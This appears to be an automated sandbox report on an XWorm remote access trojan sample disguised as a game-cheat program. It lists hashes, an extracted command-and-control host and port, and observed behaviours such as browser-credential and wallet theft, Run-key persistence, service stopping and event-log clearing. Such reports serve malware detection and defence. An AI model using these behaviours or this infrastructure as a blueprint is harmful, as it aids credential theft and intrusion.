xworm | 76055a2e7a65f892affbf012eede61a9ac39fd83a672201e902ce96eb3642ddb

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
30/03/2025, 15:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NIXWARE.exe
Size

37.3MB
MD5

7c75210de2c558c9050f082e5373ee37
SHA1

a683e20da1195e0e3eacabd19c760ebf9b60768d
SHA256

76055a2e7a65f892affbf012eede61a9ac39fd83a672201e902ce96eb3642ddb
SHA512

874201ba98ebb687f05df0e508ff967b61a6b3d28274a986ee31c8e5d7371e1c6fa24f462125ab7c375d6bd96fed18d5640cba962107d546cfca3c6d147dbf20
SSDEEP

786432:5gB5EOyGOlEaoPvuMMXU2o3SIkDhSdKqlH7R32AsKpDW800m70T+eUNH39:8lyHIPvuMwUp3SVMpHldxM80n7Q+xHN

Score

10^/10

xworm collection credential_access defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

aboltustimoha-43339.portmap.host:43339

Attributes

Install_directory
%Userprofile%
install_file
svchost.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0013000000024454-1645.dat	family_xworm
behavioral2/memory/748-1665-0x0000000000800000-0x000000000081A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5688	powershell.exe
1716	powershell.exe
3908	powershell.exe
1916	powershell.exe
3604	powershell.exe
6100	powershell.exe
6080	powershell.exe
1848	powershell.exe
5124	powershell.exe
3492	powershell.exe
5272	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	NIXWARE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	ExLoader_Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	ExLoader_Installer.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5000	cmd.exe
4912	powershell.exe

Executes dropped EXE 13 IoCs

pid	Process
5108	ExLoader_Installer.exe
3984	ExLoader_Installer.exe
808	Built.exe
2504	ExLoader_Installer.exe
4296	Built.exe
5188	Built.exe
3140	Built.exe
3800	ExLoader_Installer.exe
748	checker-cheats (1).exe
5140	system.exe
5544	system.exe
2544	rar.exe
1556	ixoqduepyxci.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe

Loads dropped DLL 43 IoCs

pid	Process
2504	ExLoader_Installer.exe
2504	ExLoader_Installer.exe
2504	ExLoader_Installer.exe
2504	ExLoader_Installer.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
3140	Built.exe
4296	Built.exe
3140	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
4296	Built.exe
3800	ExLoader_Installer.exe
3800	ExLoader_Installer.exe
4296	Built.exe
3800	ExLoader_Installer.exe
3800	ExLoader_Installer.exe
4296	Built.exe
3800	ExLoader_Installer.exe
4296	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
3140	Built.exe
2504	ExLoader_Installer.exe
3800	ExLoader_Installer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system.exe"	NIXWARE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExLoader_Installer = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ExLoader_Installer.exe"	NIXWARE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Built = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Built.exe"	NIXWARE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\checker-cheats (1) = "C:\\Users\\Admin\\AppData\\Local\\Temp\\checker-cheats (1).exe"	NIXWARE.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
90	pastebin.com
91	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2064	powercfg.exe
4748	powercfg.exe
2152	powercfg.exe
2844	powercfg.exe
1256	powercfg.exe
2152	powercfg.exe
1908	powercfg.exe
1668	powercfg.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	system.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	ixoqduepyxci.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
684	tasklist.exe
4780	tasklist.exe
2312	tasklist.exe
668	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5236	cmd.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 5140 set thread context of 2192	5140	system.exe	254
PID 1556 set thread context of 3868	1556	ixoqduepyxci.exe	287
PID 1556 set thread context of 5860	1556	ixoqduepyxci.exe	289
PID 1556 set thread context of 2488	1556	ixoqduepyxci.exe	293

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4296-1199-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp	upx
behavioral2/files/0x00070000000243ee-1388.dat	upx
behavioral2/files/0x00070000000243ed-1387.dat	upx
behavioral2/files/0x00070000000243ec-1386.dat	upx
behavioral2/files/0x00070000000243eb-1385.dat	upx
behavioral2/files/0x00070000000243e7-1384.dat	upx
behavioral2/files/0x00070000000243e5-1383.dat	upx
behavioral2/files/0x00070000000243e3-1382.dat	upx
behavioral2/files/0x00070000000243e1-1381.dat	upx
behavioral2/files/0x0007000000024401-1380.dat	upx
behavioral2/files/0x00070000000243ff-1379.dat	upx
behavioral2/files/0x00070000000243fe-1378.dat	upx
behavioral2/files/0x00070000000243f6-1375.dat	upx
behavioral2/files/0x00070000000243f2-1374.dat	upx
behavioral2/files/0x00070000000243f5-1372.dat	upx
behavioral2/files/0x00070000000243e2-1370.dat	upx
behavioral2/memory/4296-1398-0x00007FF95FA70000-0x00007FF95FA9D000-memory.dmp	upx
behavioral2/memory/4296-1450-0x00007FF95F8C0000-0x00007FF95F8EE000-memory.dmp	upx
behavioral2/memory/4296-1474-0x00007FF9597E0000-0x00007FF9598FC000-memory.dmp	upx
behavioral2/memory/4296-1473-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp	upx
behavioral2/memory/3140-1482-0x00007FF95DB20000-0x00007FF95DB2F000-memory.dmp	upx
behavioral2/memory/4296-1485-0x00007FF95FA40000-0x00007FF95FA63000-memory.dmp	upx
behavioral2/memory/3140-1486-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp	upx
behavioral2/memory/3140-1484-0x00007FF959790000-0x00007FF9597BD000-memory.dmp	upx
behavioral2/memory/3140-1483-0x00007FF9597C0000-0x00007FF9597D9000-memory.dmp	upx
behavioral2/memory/3140-1481-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp	upx
behavioral2/memory/4296-1496-0x00007FF95F700000-0x00007FF95F7B8000-memory.dmp	upx
behavioral2/memory/3140-1500-0x00007FF95DB10000-0x00007FF95DB1D000-memory.dmp	upx
behavioral2/memory/3140-1502-0x00007FF959150000-0x00007FF9594C5000-memory.dmp	upx
behavioral2/memory/3140-1522-0x00007FF95DB10000-0x00007FF95DB1D000-memory.dmp	upx
behavioral2/memory/3140-1521-0x00007FF9595E0000-0x00007FF959753000-memory.dmp	upx
behavioral2/memory/3140-1518-0x00007FF959150000-0x00007FF9594C5000-memory.dmp	upx
behavioral2/memory/3140-1517-0x00007FF9594D0000-0x00007FF959588000-memory.dmp	upx
behavioral2/memory/3140-1516-0x00007FF959590000-0x00007FF9595BE000-memory.dmp	upx
behavioral2/memory/3140-1514-0x00007FF9595C0000-0x00007FF9595D9000-memory.dmp	upx
behavioral2/memory/3140-1512-0x00007FF959760000-0x00007FF959783000-memory.dmp	upx
behavioral2/memory/3140-1511-0x00007FF959790000-0x00007FF9597BD000-memory.dmp	upx
behavioral2/memory/3140-1510-0x00007FF9597C0000-0x00007FF9597D9000-memory.dmp	upx
behavioral2/memory/3140-1509-0x00007FF95DB20000-0x00007FF95DB2F000-memory.dmp	upx
behavioral2/memory/3140-1508-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp	upx
behavioral2/memory/3140-1507-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp	upx
behavioral2/memory/3140-1506-0x00007FF958FE0000-0x00007FF958FED000-memory.dmp	upx
behavioral2/memory/3140-1505-0x00007FF958FF0000-0x00007FF959004000-memory.dmp	upx
behavioral2/memory/3140-1504-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp	upx
behavioral2/memory/3140-1501-0x00007FF9594D0000-0x00007FF959588000-memory.dmp	upx
behavioral2/memory/3140-1499-0x00007FF959590000-0x00007FF9595BE000-memory.dmp	upx
behavioral2/memory/3140-1498-0x00007FF9595C0000-0x00007FF9595D9000-memory.dmp	upx
behavioral2/memory/4296-1497-0x00007FF95EA40000-0x00007FF95EDB5000-memory.dmp	upx
behavioral2/memory/4296-1495-0x00007FF95F8C0000-0x00007FF95F8EE000-memory.dmp	upx
behavioral2/memory/4296-1494-0x00007FF95F910000-0x00007FF95F929000-memory.dmp	upx
behavioral2/memory/3140-1493-0x00007FF9595E0000-0x00007FF959753000-memory.dmp	upx
behavioral2/memory/3140-1492-0x00007FF959760000-0x00007FF959783000-memory.dmp	upx
behavioral2/memory/4296-1491-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp	upx
behavioral2/memory/4296-1472-0x00007FF95FA30000-0x00007FF95FA3D000-memory.dmp	upx
behavioral2/memory/4296-1469-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp	upx
behavioral2/memory/4296-1468-0x00007FF95F880000-0x00007FF95F894000-memory.dmp	upx
behavioral2/memory/4296-1453-0x00007FF95EA40000-0x00007FF95EDB5000-memory.dmp	upx
behavioral2/memory/4296-1451-0x00007FF95F700000-0x00007FF95F7B8000-memory.dmp	upx
behavioral2/memory/4296-1449-0x00007FF96BA10000-0x00007FF96BA1D000-memory.dmp	upx
behavioral2/memory/4296-1448-0x00007FF95F910000-0x00007FF95F929000-memory.dmp	upx
behavioral2/memory/3140-1447-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp	upx
behavioral2/files/0x0007000000024463-1439.dat	upx
behavioral2/memory/4296-1436-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp	upx
behavioral2/memory/4296-1417-0x00007FF95FA40000-0x00007FF95FA63000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2528	sc.exe
4788	sc.exe
5840	sc.exe
2976	sc.exe
5284	sc.exe
4248	sc.exe
1960	sc.exe
5688	sc.exe
6108	sc.exe
4372	sc.exe
5724	sc.exe
3252	sc.exe
224	sc.exe
1836	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3388	cmd.exe
3280	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5856	cmd.exe
4436	netsh.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
372	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2828	systeminfo.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dialer.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={BC93421D-CE9F-46A2-8C23-095BB11DAC9F}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1743350171"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 30 Mar 2025 15:56:12 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3280	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5272	powershell.exe
5272	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
3604	powershell.exe
3604	powershell.exe
3604	powershell.exe
3604	powershell.exe
5688	powershell.exe
5688	powershell.exe
6080	powershell.exe
6080	powershell.exe
6100	powershell.exe
6100	powershell.exe
5688	powershell.exe
5688	powershell.exe
6100	powershell.exe
5296	powershell.exe
5296	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
6080	powershell.exe
5296	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
2140	powershell.exe
2140	powershell.exe
2140	powershell.exe
5140	system.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
5140	system.exe
2192	dialer.exe
2192	dialer.exe
5140	system.exe
5140	system.exe
5140	system.exe
1556	ixoqduepyxci.exe
3492	powershell.exe
3492	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3476	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5272	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeDebugPrivilege	2312	tasklist.exe
Token: SeDebugPrivilege	4780	tasklist.exe
Token: SeDebugPrivilege	5688	powershell.exe
Token: SeDebugPrivilege	6080	powershell.exe
Token: SeDebugPrivilege	6100	powershell.exe
Token: SeIncreaseQuotaPrivilege	6052	WMIC.exe
Token: SeSecurityPrivilege	6052	WMIC.exe
Token: SeTakeOwnershipPrivilege	6052	WMIC.exe
Token: SeLoadDriverPrivilege	6052	WMIC.exe
Token: SeSystemProfilePrivilege	6052	WMIC.exe
Token: SeSystemtimePrivilege	6052	WMIC.exe
Token: SeProfSingleProcessPrivilege	6052	WMIC.exe
Token: SeIncBasePriorityPrivilege	6052	WMIC.exe
Token: SeCreatePagefilePrivilege	6052	WMIC.exe
Token: SeBackupPrivilege	6052	WMIC.exe
Token: SeRestorePrivilege	6052	WMIC.exe
Token: SeShutdownPrivilege	6052	WMIC.exe
Token: SeDebugPrivilege	6052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6052	WMIC.exe
Token: SeRemoteShutdownPrivilege	6052	WMIC.exe
Token: SeUndockPrivilege	6052	WMIC.exe
Token: SeManageVolumePrivilege	6052	WMIC.exe
Token: 33	6052	WMIC.exe
Token: 34	6052	WMIC.exe
Token: 35	6052	WMIC.exe
Token: 36	6052	WMIC.exe
Token: SeDebugPrivilege	684	tasklist.exe
Token: SeDebugPrivilege	4912	powershell.exe
